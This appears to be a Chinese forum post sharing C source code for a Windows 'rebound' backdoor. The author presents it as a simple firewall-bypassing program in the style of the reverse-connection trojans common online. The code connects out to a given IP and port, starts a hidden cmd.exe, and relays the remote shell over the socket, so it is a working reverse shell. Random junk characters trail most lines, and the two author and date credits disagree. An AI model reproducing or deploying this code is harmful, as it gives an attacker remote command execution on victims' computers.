这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 7w1wr)qSB
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/* ============================== &*
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Rebound port in Windows NT gqWupL
By wind,2006/7 o:6@Kw^
===============================*/ dZ _zg<
#include iH.$f /)N
#include Y-0?a?q2Fr
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#pragma comment(lib,"wsock32.lib") t&9A
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void OutputShell(); nbG/c80
SOCKET sClient; @X3{x\i'I
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; D13Rx 6b
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void main(int argc,char **argv) 2[gFkyqe
{ ykrr2x
WSADATA stWsaData; ujJI
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int nRet; 4ikd M/
SOCKADDR_IN stSaiClient,stSaiServer; "YB**Y
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if(argc != 3) `EtS!zD~b
{ 3z]+uv+2J
printf("Useage:\n\rRebound DestIP DestPort\n"); Qeu\&%C!<
return; apk4j\i?5
} *|_"W+JC
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9 fMau
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >Yt/]ta4+
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stSaiClient.sin_family = AF_INET; (Y^X0yA/
stSaiClient.sin_port = htons(0); $#|gLVOQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <9sO
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Z`&4SH=j
{ r&Ca"dI
printf("Bind Socket Failed!\n"); L}m8AAkP[
return; Yhp]x
} n8hRaNHl2
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stSaiServer.sin_family = AF_INET; ?b!Fa
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6'W [{gzl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _uc\ D
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}KD;0t4
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) "KJ%|pg_C
{ ?`[NFqv_]
printf("Connect Error!"); m4:^}O-#
return; GTv#nnC
} +\"-P72vjk
OutputShell(); -VZRujl
} kw`WH)+F
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void OutputShell() @t1V
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{ "S&%w8V
char szBuff[1024]; z>R#H/h+
SECURITY_ATTRIBUTES stSecurityAttributes; 0hZ1rqq8C
OSVERSIONINFO stOsversionInfo; Vpp;\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; `c+/q2M
STARTUPINFO stStartupInfo; 8 ^B;1`#
char *szShell; A>VX*xd
PROCESS_INFORMATION stProcessInformation; pb0E@C/R
unsigned long lBytesRead; xmGk*W)P
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [ $fJRR
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &:=$wc
stSecurityAttributes.lpSecurityDescriptor = 0; /+e~E;3bO
stSecurityAttributes.bInheritHandle = TRUE; #%@MGrsK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); oVCmI"'
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^nVl (^{
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 0|D&"/.R#!
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [0[M'![8M
stStartupInfo.wShowWindow = SW_HIDE; 9SMiJad<
stStartupInfo.hStdInput = hReadPipe; IF*&%pB
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nW?R"@Zm
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GetVersionEx(&stOsversionInfo); $\AEWFB
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switch(stOsversionInfo.dwPlatformId) Lv1{k\aw
{ >6Lm9&}
case 1: GD-&_6a
szShell = "command.com"; dRvin[R8
break; o ojiJ~
default: \.e4.[%[2-
szShell = "cmd.exe"; HI&kP+,y
break; (P6vOo
} ix Z)tNz
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !p
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send(sClient,szMsg,77,0); d`Q7"}uZ
while(1) 9h(IUD{8
{ f"&Xr!b.h
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b~7drf
if(lBytesRead) 0'$p$K
{ |)_-Bi;MW`
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K'6[J"dB
send(sClient,szBuff,lBytesRead,0); 6ew "fCrH!
} u@FsLHn
else yZ}d+7T}
{ o4=Yu7L
lBytesRead=recv(sClient,szBuff,1024,0); iz}sM>^
if(lBytesRead<=0) break; g?qKNY
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k4KHS<n0
} u}H$-$jE
} [~Hg}-c
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return; lWy=)^)4
}